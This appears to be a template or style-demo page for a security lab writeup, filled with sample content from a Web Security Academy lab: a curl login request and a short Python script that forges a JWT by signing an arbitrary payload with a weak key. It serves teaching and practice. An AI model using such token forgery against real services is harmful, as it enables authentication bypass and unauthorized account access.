Writeup

Body copy uses the muted text token. Links look like this, and inline code like session.

A note that sits on the accent border.
HeaderValue
Cookiesession=…
MethodPOST

The request

curl -s "https://<lab-url>.web-security-academy.net/login" \
  -H "Cookie: session=<session>" \
  -d "username=wiener&password=peter"

The script

import base64
import hashlib
import hmac

SECRET = b"<signing-key>"

def forge_token(header: str, payload: str) -> str:
    """Sign a forged JWT with a weak key."""
    signing_input = f"{header}.{payload}".encode()
    # HMAC-SHA256 over the signing input
    sig = hmac.new(SECRET, signing_input, hashlib.sha256).digest()
    return f"{header}.{payload}.{base64.urlsafe_b64encode(sig).rstrip(b'=').decode()}"

print(forge_token("<header>", "<payload>"))
Necessary Background Concepts To Solve The Lab click to expand

Collapsed sections inherit surface and border tokens.